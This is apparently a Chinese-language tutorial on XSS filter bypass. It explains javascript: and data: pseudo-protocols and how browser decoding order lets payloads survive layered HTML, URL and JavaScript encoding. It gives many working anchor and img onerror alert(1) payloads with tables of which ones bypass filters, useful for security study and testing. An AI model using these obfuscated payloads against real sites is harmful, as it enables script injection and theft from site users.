XSS_伪协议与编码绕过
XSS_伪协议与编码绕过
- 参考
- 伪协议是什么?
- 伪协议示例
- 伪协议作用是什么?
- 编码绕过
- Unicode编码
- Unicode,编码,HTML编码及URL编码
- 浏览器解码
- 浏览器解码顺序
- 解码顺序
- 编码顺序
- HTML解码
- HTML示例:
- HTML解码说明:
- 2**号失败原因**:
- HTML编码用法:
- URL解码
- URL示例
- URL解码说明
- 2号失败与3号失败原因:
- URL编码用法:
- JavaScript(\u)解码
- JavaScript示例
- URL解码说明:
- 3号与5号失败原因:
- JavaScript编码用法:
- JavaScript(\ASCII)解码
- JavaScript示例
- JavaScript(\ASCII)解码说明
- 其他与HTML编码一致
- 二层混淆编码
- 二层混淆解码说明
- 特别注意:
- 三次混淆编码
- 三层混淆示例:
- 三层混淆编码步骤:
- 其他标签加密
- 示例
- 结论
参考
本文参考了极客时间伪协议与编码绕过课程
伪协议是什么?
伪协议不同于因特网上所广泛使用的如 http://,https://,ftp://
;
主要在URL中使用,用于执行特定的功能,例如调用js方法
Data伪协议︰
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=
JavaScript伪协议︰
javascript:alert(“1”)
伪协议示例
<! DOCTYPE html>
<html><head><title>decodeDemo</title><meta charset="utf-8"></head><body><p><a href="javascript:alert(5) ">javascript伪协议</a></p><p><a href="data:text/html; base64,PHNjcmIwdD5hbGVydCgxKTs8L3Njcm1wdD4=">data伪协议base64</a></p><p><a href="data:text/html;base64, PHNjcmwdD5hb6vydCgiMSIpOzwvc2NyaxBoPg==-">含双引号data 伪协议 baseb4</a></p></body>
</html>
伪协议作用是什么?
伪协议: 作用是于对<script>
标签, (
, )
, '
, "
,票号(写不出来)
进行过滤绕过;
需要注意的是:
并不是所用的浏览器都会对
伪协议
进行支持,例如:Google Chrome对Data伪协议就不支持;
编码绕过
Unicode编码
ISO(国际标谁化组织)制定的包括了地球上所有文化、所有字母和符号
的编码,使用两个字节表示一个字符,
Unicode 只是一个符号集,它只规定了符号的二进制代码,却没有规定这个二进制代码
应该如何存储
。
具体存储由:UTF-8,UTF-16
等实现。
Unicode,编码,HTML编码及URL编码
unicode编码简单称其为JavaScript编码,因为JavaScript编码内部解析,也是对unicode编码是等同的;
编码划分
编码前 | 编码分类 | 编码示例 | 所属 | 类型 |
---|---|---|---|---|
test |
JavaScript(Unicode )编码
|
\u0074\u0065\u0073\u0074 |
\u
|
中文转为unicode |
test |
JavaScript(Unicode )编码
|
test
|
&#
|
Ascii转Unicode(Burp Suit将其归为HTML编码的一种,HTML页面认为是HTML编码格式)
|
test | HTML编码 |
test
|
&#x
|
|
test | URL编码 | %74 %65 %73%74 |
%
|
|
html编码(直接渲染) | Ascii转Unicode(直接渲染) | Unicode编码/中文 | URL编码 | |
---|---|---|---|---|
r |
r =>r
|
r =>r
|
\u0072 |
%72
|
我 |
 (解码中文,乱码=>�)
|
我 =>我
|
\u6211 |
%11 (解码,乱码=>%11)
|
test |
test => (test)
|
test => (test)
|
\u0074\u0065\u0073\u0074 | %74%65%73%74 |
浏览器解码
解析一篇HTML文档时主要有三个处理过程:HTML解析
,URL解析
和JavaScript解析
。每个解析器负责解码和解析HTML文档中它所对应的部分,且顺序也有所区别。
浏览器解码顺序
解码顺序
浏览器–>HTML解码-->URL解码-->JavaScript解码
;
因为解码有先后顺序,所以为了不影响页面的正常加载,我们加密的时候需要按照顺序进行先进行JavaScript加密,然后再进行URL加密,最后进行HTML加密
;
编码顺序
加密–>JavaScript编码-->URL编码-->HTML编码
;
HTML解码
HTML示例:
<h3>HTML解码</h3>
<p>对于a标签,href属性javascript:alert(1)编码比较</p><p>1号:<a href="javascript:alert(1)">未编码</a>
</p>
<p>2号:<a href="javascript:alert(1)">href中的r进行编码</a>
</p>
<p>3号:<a href="javascript:alert(1)">javascript中的r进行编码</a>
</p>
<p>4号:<a href="javascript:alert(1)">alert(1)中的r进行编码</a>
</p>
<hr>
HTML解码说明:
与1号,未编码进行比较
,说明
- 1号:未编码; 正常访问,正常绕过
- 1号:
<a href="javascript:alert(1)">未编码</a>
- 1号:
- 2号:href中的r进行
HTML编码
; HTML页面解析r
为r,破坏了HTML文档的DOM树格式,不认为href
是一个超链接属性,即a标签失效; HTML编码破坏了<a>
标签DOM树结构中的href属性
;- HTML解析: 2号:<a h
r
ef=“javascript:alert(1)”>href中的r进行编码 破坏了DOM树结构,但是还是会正常解析,认为是文本格式; - URL解析: 2号:<a href=“javascript:alert(1)”>href中的r进行编码
- JavaScript解析: 2号:
<a href="javascript:alert(1)">
href中的r进行编码
- HTML解析: 2号:<a h
- 3号:JavaScript中的r进行编码; 正常访问,正常绕过;
- 3号:
<a href="javascript:alert(1)">
javascript中的r进行编码
- 3号:
- 4号:alert(1)中的r进行编码; 正常让问,正常绕过;
- 4号:
<a href="javascript:alert(1)">
alert(1)中的r进行编码
- 4号:
编号 |
<a> 标签解析显示情况
|
是否绕过 |
---|---|---|
1号 |
解析成功,正常解析为<a> 标签
|
|
2号 |
解析失败,HTML编码破坏了HTML页面DOM树构建,不认为href 是一个超链接属性,即a标签失效;
|
否 |
3号 |
解析成功,正常解析为<a> 标签
|
是 |
4号 |
解析成功,正常解析为<a> 标签
|
是 |
2号失败原因:
按照先后顺序HTML先进行解码,但是HTML编码破坏了<a>
标签中的href属性,导致<a>
标签DOM树构建失败解析无效,HTML解析器识别不了,致使解析成为一个文本格式;
也就是说我们是不能对标签中的属性进行HTML编码;因为这样的编码会破坏HTML解析器对HTML页面文档整个格式的解析,导致他的解析器没有办法去构建自己的DOM树;在这种情况下他没有办法进行编码的解析,导致标签DOM树加载失败;
HTML编码用法:
- HTML编码不能编码标签,及标签中的属性,以及标签前后的
< >
; - HTML编码可以对标签中属性的值进行编码;(包括
伪协议类型
和js代码
)
我们无法对2号链接进行解析(希望他加载执行JavaScript伪协议
),因为DOM树构建失败<a>
标签无效,他已经被解析成为一个文本格式;也就是说我们是不能对href
中的r
进行编码;因为这样的编码会破坏HTML解析器对HTML页面文档整个格式的解析,导致他的解析器没有办法去构建自己的DOM树;在这种情况下他没有办法进行编码的解析;
URL解码
URL示例
<h3>URL解码</h3><p>对于a标签,href属性javascript:alert(1)编码比较</p><p>1号:<a href="javascript:alert(1)">未编码</a></p><p>2号:<a h%72ef="javascript:alert(1)">href中的r进行编码</a></p><p>3号:<a href="javasc%72ipt:alert(1)">javascript中的r进行编码</a></p><p>4号:<a href="javascript:ale%72t(1)">alert(1)中的r进行编码</a></p><p>5号:<a href="javascript:alert%281)">alert(1)中的'('进行编码</a></p>
<hr>
URL解码说明
对于a标签.href属性iavascript:alert(1)编码比较
编号 |
<a> 标签解析显示情况
|
是否绕过 |
---|---|---|
1号 |
解析成功,正常解析为<a> 标签
|
|
2号 |
解析失败,URL编码破坏了HTML页面DOM树构建,(低优先级先进行了编码)
|
否 |
3号 |
解析成功,正常解析为<a> 标签
|
否,URL破坏了**伪协议类型 ,alert无法生效**;
|
4号 |
解析成功,正常解析为<a> 标签
|
是 |
5号 |
解析成功,正常解析为<a> 标签
|
是 |
2号失败与3号失败原因:
- 2号:
- 按照先后顺序HTML先进行解码,然后是URL再进行解码,但是HTML解码过程中,
URL编码
破坏了<a>
标签中的href属性(低优先级URL编码,先进行了编码)
,导致<a>
标签DOM树解析失败构建无效,HTML解析器识别不了,致使解析成为一个文本格式;
- 按照先后顺序HTML先进行解码,然后是URL再进行解码,但是HTML解码过程中,
- 3号:
- URL编码破坏了协议类型,导致JavaScript编码解析失败!
URL编码用法:
- URL编码不能编码标签,及标签中的属性,以及标签前后的
< >
; - URL编码不能对
伪协议类型
进行编码;例如:JavaScript - URL编码可以对
伪协议类型
后跟的JavaScript代码
进行编码;例如alert(1);
JavaScript(\u)解码
JavaScript示例
<h3>JavaScript解码</h3><p>对于a标签,href属性javascript:alert(1)编码比较</p><p>1号:<a href="javascript:alert(1)">未编码</a></p><p>2号:<a h\u0072ef="javascript:alert(1)">href中的r进行编码</a></p><p>3号:<a href="javasc\u0072ipt:alert(1)">javascript中的r进行编码</a></p><p>4号:<a href="javascript:ale\u0072t(1)">alert(1)中的r进行编码</a></p><p>5号:<a href="javascript:alert\u00281)">alert(1)中的(进行编码</a></p>
<hr>
URL解码说明:
编号 |
<a> 标签解析显示情况
|
是否绕过 |
---|---|---|
1号 |
解析成功,正常解析为<a> 标签
|
|
2号 |
解析失败,JavaScriptL编码破坏了HTML页面DOM树构建,(低优先级先进行了编码)
|
否 |
3号 |
解析成功,正常解析为<a> 标签
|
否,JavaScript破坏了**伪协议类型 ,alert无法生效**;
|
4号 |
解析成功,正常解析为<a> 标签
|
是 |
5号 |
解析成功,正常解析为<a> 标签
|
否,JavaScript不能对控制字符() 进行编码
|
3号与5号失败原因:
- 3号
- 3号对
JavaScript伪协议
进行了编码,导致破坏了伪协议类型
,导致alert无法生效;
- 3号对
- 5号
- 5号对
JavaScript代码
中的控制字符
进行了编码,导致解析失败;
- 5号对
JavaScript编码用法:
- JavaScript编码不能编码标签,及标签中的属性,以及标签前后的
< >
; - JavaScript编码不能对
伪协议类型
进行编码;例如:JavaScript - JavaScript编码不能对
伪协议类型
后的JavaScript代码
中的控制字符
进行编码;例如alert(1)中的括号()
; - JavaScript编码可以对
伪协议类型
后跟的JavaScript代码
进行编码,不包括控制字符;例如alert不包含括号()
;
JavaScript(\ASCII)解码
特别注意!!! Ascii转Unicode
(Burp Suit将其归为HTML编码的一种)
JavaScript示例
<h3>JavaScript解码/ASCII</h3><p>对于a标签,href属性javascript:alert(1)编码比较</p><p>1号:<a href="javascript:alert(1)">未编码</a></p><p>2号:<a href="javascript:alert(1)">href中的r进行编码</a></p><p>3号:<a href="javascript:alert(1)">javascript中的r进行编码</a></p><p>4号:<a href="javascript:alert(1)">alert(1)中的r进行编码</a></p><p>5号:<a href="javascript:alert(1)">alert(1)中的(进行编码</a></p>
<hr>
JavaScript(\ASCII)解码说明
编号 |
<a> 标签解析显示情况
|
是否绕过 |
---|---|---|
1号 |
解析成功,正常解析为<a> 标签
|
|
2号 |
解析失败,HTML编码破坏了HTML页面DOM树构建,不认为href 是一个超链接属性,即a标签失效;
|
否 |
3号 |
解析成功,正常解析为<a> 标签
|
是 |
4号 |
解析成功,正常解析为<a> 标签
|
是 |
其他与HTML编码一致
二层混淆编码
<h3>二层混淆解码</h3><p>对于a标签,href属性javascript:alert(1)二层编码比较</p><p>1号:<a href="javascript:ale%5c%75%30%30%37%32t(1)">alert(1)中的r进行js编码,后url编码</a></p><p>1.1号:<a href="javascript:alert(1)">alert(1)中的r进行js/ASCII编码,后HTML编码</a></p><p>1.2号:<a href="javascript:ale%26%23%31%31%34%3bt(1)">alert(1)中的r进行js/ASCII编码,后url编码</a></p><p>2号:<a href="javascript:ale\u0072t(1)">alert(1)中的r进行js编码,后 html编码 </a></p><p>3号:<a href="javascript:ale%72t(1)">alert(1)中的r进行url编码,后html编码</a></p>
<br/>
二层混淆解码说明
编号 |
<a> 标签解析显示情况
|
是否绕过 |
---|---|---|
1号 |
解析成功,正常解析为<a> 标签
|
是 |
1.1号 |
解析成功,正常解析为<a> 标签
|
否(js/ASCII编码,被页面认定为HTML编码;无法解析两层HTML编码) |
1.2号 |
解析成功,正常解析为<a> 标签
|
否(编码后的url编码,页面无法解析识别,js/ASCII编码只能单独使用 )
|
2号 |
解析成功,正常解析为<a> 标签
|
是 |
3号 |
解析成功,正常解析为<a> 标签
|
是 |
特别注意:
- 混淆解码需要注意页面解析顺序
HTML<URL<JavaScript
; - 混淆加密顺序为
JavaScript<URL<HTML
- js/ASCII编码不能用于两层加密;
- 混淆解码需要注意页面解析顺序
三次混淆编码
三层混淆示例:
<h3>三层混淆解码</h3><p>对于a标签,href属性javascript:alert(1)三层编码漏洞触发</p><p><a href="javascript:ale%5c%75%30%30%37%32t(1)">alert(1)中的进行js编码,后url编码,再html编码</a></p><p><a href="javascript:\u0061%5c%75%30%30%36%63e%5c%75%30%30%37%32t(1)">alert(1)中的a进行js编码,l进行js编码后再进行url编码,r进行js编码,后url编码,再html编码</a></p><p><a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34%28%31%29">三层加密</a></p>
<hr>
三层混淆编码步骤:
示例: <a href="javascript:alert(1)">原始样例</a>
JavaScript编码: 对
alert
进行编码,不能对控制字符(1)
进行编码<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">JavaScript编码</a>
URL编码: 对
经过JavaScript编码后的字符
和(1)
,进行URL编码<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34%28%31%29">JavaScript编码</a>
HTML编码: 对
javascript伪协议
和URL编码后的字符
,进行HTML编码<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34%28%31%29">自行加密</a>
其他标签加密
示例
<img src=# onerror="alert(1)"/>
<img src=# onerror="\u0061\u006c\u0065\u0072\u0074(1)" /> JavaScript编码成功
<img src=# onerror="%61%6c%65%72%74%28%31%29" /> URL编码失败
<img src=# onerror="alert(1)"/> HTML编码成功;
<img src=# onerror="%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34%28%31%29;" /> 双重加密失败
<img src=# onerror="\u0061\u006c\u0065\u0072\u0074(1)"/> 先JavaScript编码,后进行HTML编码成功!
结论
- 如果要编码的标签属性不是src,那么就不能进行URL编码;
- 只能进行JavaScript编码和HTML编码;
XSS_伪协议与编码绕过相关推荐
- WEB攻防-通用漏洞文件包含LFIRFI伪协议编码算法代码审计
目录 知识概要 1.解释 2.实现漏洞的三种方式 3.本地包含LFI&远程包含RFI-区别 4.各类脚本语言包含代码写法 思路点 黑盒发现 白盒发现 CTF案例演示 CTF-78-php&am ...
- php伪协议读取目录,PHP文件包含,文件读取的利用思路,以及配合伪协议的trick...
PHP的文件包含函数有两类,分三种:1 2file_get_contents() include()/include_once() require/require_once() 第一种用于获取文件的数 ...
- [羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过
目录: 一. 自己做: 二.学到的.不足: 三. 1. 利用.htaccess来设置文件自动包含 2. 绕过 \n 的过滤 3. 绕过stristr的过滤. 4. 绕过preg_match 2.思路二 ...
- 使用data伪协议绕过圆括号、反引号被过滤
文章目录 data协议常用数据格式 不使用编码的方式绕过圆括号过滤 data协议常用数据格式 不使用编码的方式绕过圆括号过滤 环境是https://xss.haozi.me/#/0x04 ,其中代码过 ...
- 【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)
Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析) 靶场地址
- base64 转文件_PHP伪协议与文件包含
PHP伪协议与文件包含 PHP伪协议与文件包含 php:// 协议 php://input php://filter data:// 协议 file:// 协议 zip://.bzip2://.zli ...
- php伪协议xss,XSS漏洞学习
XSS漏洞的原理 XSS漏洞是发生在目标网站中目标用户的浏览层面上,当用户浏览器渲染整个HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就会发生. XSS漏洞的危害 获取用户或者管理员的 ...
- LFI(本地文件包含)、RFI(远程文件包含)、PHP封装协议(伪协议)安全问题学习
友情链接:https://www.cnblogs.com/LittleHann/p/3665062.html 目录 一.文件包含的基本概念 1.要想成功利用文件包含漏洞,需要满足下面的条件 (1)in ...
- 第十天文件包含漏洞 php伪协议
文件包含漏洞 PHP中常见包含文件函数 常见文件包含漏洞代码 文件包含漏洞的危害 伪协议 php使用input读取post请求体的内容 Data:// 数据 Zlib:// 压缩流 文件包含的漏洞的分 ...
- xss编码绕过详解(更像是在介绍实体编码和JS编码的解析过程)
xss编码绕过详解(更像是在介绍实体编码和JS编码的解析过程) 注:本文通过研究各种情况下实体编码和JS编码是否生效,进而总结了哪些情况下能够进行编码后,javascript代码依然能够正常执行. 解 ...
最新文章
- 15张图来了解【树】,面试再也不怕被刷了
- linux+传输文件时卡住,linux - rsync 同步文件时卡住不动
- Android即时通讯与IOS端发送语音的问题。
- php 递归实现无限极分类和排序_PHP无限级分类实现层级值间用字符串拼接
- 杭电ACM刷题(1):1002,A + B Problem II
- 基于Arduino开发的简易“高水位报警系统解决方案”
- python socket监听端口_Python 用socket模块实现检测端口和检测web服务
- (转)CString工作原理和常见问题分析
- Code Forces 448C Painting Fence 贪婪的递归
- mysql 5.6一主两从_Centos7 下配置mysql5.6主从复制实例(一主两从)
- java课程设计仓库管理系统_Java课程设计-仓库管理系统
- matlab 粒子群应用,粒子群算法程序应用
- mac如果装win系统运行,虚拟机好还是双系统好?
- NetBeans IDE教程
- 纵横捭阖 《鬼谷子》
- OPPO系统推送SDK集成踩坑思路
- win7无线网显示小太阳
- lamp分离部署+phpmyadmian
- 怎么批量给图片加纯色边框?
- 步进电机的使用方法和控制方式基本介绍
热门文章
- debian-nagios3.2,linux+apache+mysql+php
- 深入理解HTTP消息头
- 易到起死回生的背后,谁在指点江山?
- redhat7.3-samba服务器配置
- 由DispatcherServlet看spring mvc请求处理过程
- Beyond Compare怎么查看合并文本后相同内容
- nginx 1.8.0下载
- Nginx安全配置标准(for proxy)
- ecplise反编译插件
- 北航计算机组成重修,北航计算机组成原理123希望大伙把作业上传.pdf